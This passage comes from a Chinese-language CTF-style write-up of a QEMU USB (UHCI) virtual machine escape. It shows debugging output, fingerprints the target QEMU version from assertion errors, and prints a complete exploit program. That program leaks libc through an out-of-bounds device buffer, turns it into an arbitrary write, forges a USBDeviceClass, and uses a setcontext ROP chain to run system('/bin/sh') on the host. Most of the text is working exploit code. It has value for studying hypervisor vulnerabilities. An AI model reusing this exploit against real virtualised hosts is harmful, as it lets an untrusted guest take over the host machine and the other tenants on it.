1 2 3 4 5 6 7 8 9 10 11 12 In file: /home/sea/Desktop/qemu/hw/usb/bus.c 218 } 219 220 void usb_device_ep_stopped(USBDevice *dev, USBEndpoint *ep) 221 { 222 USBDeviceClass *klass = USB_DEVICE_GET_CLASS(dev); ► 223 if (klass->ep_stopped) { 224 klass->ep_stopped(dev, ep); 225 } 226 } pwndbg> p klass $23 = (USBDeviceClass *) 0x555955f036d0
klass指向了我们伪造的class,为了进一步缩小远程的qemu版本范围,我们将type->parent
字符串修改为一个任意值,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 uint64_t payload[0x400/0x8]; int type_base = 0x25; payload[0x0] = dev_addr + 0x10; //fake a USBDeviceClass at dev_addr + 0x10 payload[0x2] = dev_addr + type_base*0x8; //type payload[0x9] = dev_addr + 0x8; //bus payload[0xe] = dev_addr + 0x8; //port //fake a type payload[type_base] = 0; //name payload[type_base+0xb] = dev_addr + (type_base + 0xe) * 8; payload[type_base+0xc] = 0; //type->parent_type payload[type_base+0xd] = dev_addr + 0x8; //type->class char *p = "aaaaaa"; memcpy(&payload[type_base + 0xe],p,strlen(p)+1); arb_write_seq(dev_addr,payload,0x400);
上传到远程环境执行,会有异常提示
1 2 3 4 5 6 / # ./exp ..................... ** ERROR:qom/object.c:167:type_get_parent: assertion failed: (type->parent_type != NULL) Bail out! ERROR:qom/object.c:167:type_get_parent: assertion failed: (type->parent_type != NULL) Aborted (core dumped)
在qom/object.c
的第167
行断言失败,结合两处的报错行数,我们确定出了qemu的版本是stable-2.10
,那么将该版本的代码下载过来编译,就能尽可能的接近远程的环境。通过调试,确定了klass->ep_stopped
函数指针的偏移,因此我们在对应的位置上伪造好gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //ep_stopped payload[0x24] = mov_rdx_qp_rdi; int rop_start = 0x40; //ROP payload[0x1] = dev_addr + rop_start*8 ; //rdx payload[rop_start+0x4] = set_context; payload[rop_start+0xa0/0x8] = dev_addr + (rop_start*8+0xb0); //new stack payload[rop_start+0xa8/0x8] = pop_rdi_rbp; payload[rop_start+0xb0/0x8] = dev_addr + (rop_start*8+0xc8); payload[rop_start+0xc0/0x8] = system_addr; char *cmd = "/bin/sh"; memcpy(&payload[rop_start+0xc8/0x8],cmd,strlen(cmd)+1);
EXP 最终的exp.c如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/io.h> #define LOCAL #ifdef LOCAL #define ARENA_OFFSET 0x1e3c 00 #define SYSTEM_OFFSET 0x503c0 #define GADGET_OFFSET 0x14b760 #define SETCONTEXT_OFFSET 0x5306d #define POP_RDI_RBP_OFFSET 0x29522 #else #define ARENA_OFFSET 0x1e0c00 #define SYSTEM_OFFSET 0x4fa60 #define GADGET_OFFSET 0x14a0a0 #define SETCONTEXT_OFFSET 0x529AD #define POP_RDI_RBP_OFFSET 0x28db2 #endif #define PFN_MASK ((((size_t)1)<<54)-1) #define UHCI_BASE 0xc040 #define UHCI_CMD_HCRESET (1 << 1) #define UHCI_CMD_RS (1 << 0) #define UHCI_PORT_RESET (1 << 9) #define UHCI_PORT_EN (1 << 2) //enable #define UHCI_PORT_CCS (1 << 0) #define TD_CTRL_ACTIVE (1 << 23) #define TD_CTRL_SPD (1 << 29) //we need this to allow we send more than two #define USB_TOKEN_SETUP 0x2d #define USB_TOKEN_IN 0x69 /* device -> host */ #define USB_TOKEN_OUT 0xe1 /* host -> device */ #define USB_DIR_OUT 0 #define USB_DIR_IN 0x80 typedef struct UHCI_TD { uint32_t link; uint32_t ctrl; /* see TD_CTRL_xxx */ uint32_t token; uint32_t buffer; } UHCI_TD; typedef struct USBEndpoint USBEndpoint; typedef struct USBDevice USBDevice; struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk; }; struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15]; USBEndpoint ep_out[15]; }; struct UHCI_TD * td; uint32_t *td_phy_addr_in_any_frame; char *dmabuf; unsigned char *data_buf; uint64_t data_buf_addr; char *setup_buf; void die(char *msg) { perror(msg); exit(-1); } /*向设备写入数据*/ void pmio_write(uint32_t addr,uint32_t val) { outl(val,UHCI_BASE + addr); } /*从UHCI读取数据*/ uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(UHCI_BASE + addr); } //虚拟地址转换为物理地址 size_t get_phys_addr(void *vir_addr) { int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/ if (fd == -1) { die("open pagemap error"); } size_t vir = (size_t)vir_addr; // /0x1000获得是第n页的这个n,由于一个记录数据8字节,因此*8,算的的就是该页在文件里的记录的偏移 size_t offset = vir / 0x1000 * 8; if (lseek(fd,offset,SEEK_SET) == -1) { die("lseek pagemap error"); } size_t addr; if (read(fd,&addr,8) != 8) { die("read pagemap error"); } addr = (addr & PFN_MASK) * 0x1000 + vir % 0x1000; return addr; } void init() { /* 映射一块dmabufs 也就是dma模式的读写,读写的数据都在这块内存上*/ dmabuf = mmap(0, 0x6000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); /* 上锁,防止被调度 */ mlock(dmabuf, 0x6000); td = (UHCI_TD *)dmabuf; td_phy_addr_in_any_frame = (uint32_t *)(dmabuf + 0x100); setup_buf = dmabuf + 0x300; data_buf = dmabuf + 0x1000; } void set_UHCIState() { //清空UHCI之前的状态,这样我们在下一次就可以触发定时任务了 pmio_write(0,UHCI_CMD_HCRESET); //初始化USB端口 for(int i=0x10;i <= 0x1f;i++) pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN); uint32_t td_phy_addr = get_phys_addr(td); *td_phy_addr_in_any_frame = td_phy_addr; //pmio_write(6, 0); //设置s->frnum为0 pmio_write(8, td_phy_addr); //设置s->fl_base_addr为td结构体的物理地址 pmio_write(0, UHCI_CMD_RS); sleep(1); } void init_state() { //初始化时,使用正常的长度 setup_buf[6] = 0xff; setup_buf[7] = 0x0; td->link = get_phys_addr(td); td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21; td->buffer = get_phys_addr(setup_buf); puts("set_UHCIState"); set_UHCIState(); } void set_length(uint16_t len, uint8_t option){ setup_buf[0] = USB_TOKEN_IN | option; //set the length setup_buf[6] = len & 0xff; setup_buf[7] = (len >> 8 ) & 0xff; td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21; td->buffer = get_phys_addr(setup_buf); set_UHCIState(); } //do_token_in读取数据 void do_copy_read(uint16_t len){ //设置token进入do_token_in td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size td->buffer = get_phys_addr(data_buf); set_UHCIState(); } //do_token_out写入数据 void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){ if (len == 0x11) { len = len - 1; *(unsigned long *)(data_buf + offset) = 0x0000000200000002; //setup_state覆盖成原先的内容 *(unsigned int *)(data_buf + 0x8 +offset) = setup_len; //覆盖setup_len *(unsigned int *)(data_buf + 0xc+ offset) = setup_index; //覆盖setup_index } td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_OUT | (len-1) << 21; td->buffer = get_phys_addr(data_buf); set_UHCIState(); } //任意写 void arb_write_seq(uint64_t target_addr, uint64_t *payload,uint64_t len) { //初始化setup_state set_length(0x500, USB_DIR_OUT); unsigned long offset = target_addr - data_buf_addr; //设置越界长度 set_length(0x1010, USB_DIR_OUT); puts("set index"); //getchar(); //将setup_index设置为0x1000 do_copy_write(0, 0, 0, 0x400); do_copy_write(0, 0, 0, 0x400); do_copy_write(0, 0, 0, 0x400); do_copy_write(0, 0, 0, 0x400); //覆盖setup_state、setup_len、setup_index do_copy_write(0, offset+len, offset-0x10, 0x11); memcpy(data_buf,payload,len); //puts("wait"); //getchar(); do_copy_write(0, 0xffff, 0,len); } int main() { init(); //申请IO权限 iopl(3); init_state(); set_length(0x5000,USB_DIR_IN); for(int i = 0; i < 4; i++) do_copy_read(0x400); //set index 0x1000 do_copy_read(0x400); //read 0x400 to dmabuf struct USBDevice* usb_device_tmp = (struct USBDevice *)(data_buf + 0x4); struct USBDevice usb_device; memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice)); uint64_t dev_addr = (uint64_t)(usb_device.ep_ctl.dev); data_buf_addr = dev_addr + 0xdc - 0x8; //data_buf_addr = dev_addr + 0xdc; printf("USBDevice dev_addr: 0x%lx\n", dev_addr); printf("USBDevice->data_buf: 0x%lx\n", data_buf_addr); uint64_t *tmp = (uint64_t *)(data_buf + 0x4); uint64_t libc_base = -1; uint64_t main_arena_xx_addr; //搜索main_arena指针 for (int j=0;j<100;j++) { for (int i=0;i<0x400/0x8;i++) { main_arena_xx_addr = tmp[i]; if ((main_arena_xx_addr >> 40) == 0x7f && ((main_arena_xx_addr & 0xfff) == 0xc00)) { //printf("heap size=0x%lx fd=0x%lx\n",tmp[i-1],main_arena_xx_addr); libc_base = main_arena_xx_addr - ARENA_OFFSET; goto outer; } } //write(1,data_buf,0x400); do_copy_read(0x400); } outer: if(libc_base == -1){ printf("Error,DO IT AGAIN\n"); return 0; } uint64_t system_addr = libc_base + SYSTEM_OFFSET; printf("leak libc_base address : 0x%lx!\n", libc_base); printf("leak system_addr address: 0x%lx!\n", system_addr); uint64_t mov_rdx_qp_rdi = libc_base + GADGET_OFFSET; //mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] uint64_t set_context = libc_base + SETCONTEXT_OFFSET; uint64_t pop_rdi_rbp = libc_base + POP_RDI_RBP_OFFSET; uint64_t payload[0x400/0x8]; int type_base = 0x25; payload[0x0] = dev_addr + 0x10; //fake a USBDeviceClass at dev_addr + 0x10 payload[0x2] = dev_addr + type_base*0x8; //type payload[0x9] = dev_addr + 0x8; //bus payload[0xe] = dev_addr + 0x8; //port //ep_stopped payload[0x24] = mov_rdx_qp_rdi; int rop_start = 0x40; //ROP payload[0x1] = dev_addr + rop_start*8 ; //rdx payload[rop_start+0x4] = set_context; payload[rop_start+0xa0/0x8] = dev_addr + (rop_start*8+0xb0); //new stack payload[rop_start+0xa8/0x8] = pop_rdi_rbp; payload[rop_start+0xb0/0x8] = dev_addr + (rop_start*8+0xc8); payload[rop_start+0xc0/0x8] = system_addr; char *cmd = "/bin/sh"; memcpy(&payload[rop_start+0xc8/0x8],cmd,strlen(cmd)+1); //fake a type payload[type_base] = 0; //name payload[type_base+0xb] = dev_addr + (type_base + 0xe) * 8; payload[type_base+0xc] = 0; //type->parent_type payload[type_base+0xd] = dev_addr + 0x8; //type->class char *p = "usb-device"; memcpy(&payload[type_base + 0xe],p,strlen(p)+1); arb_write_seq(dev_addr,payload,0x400); }
0x06 参考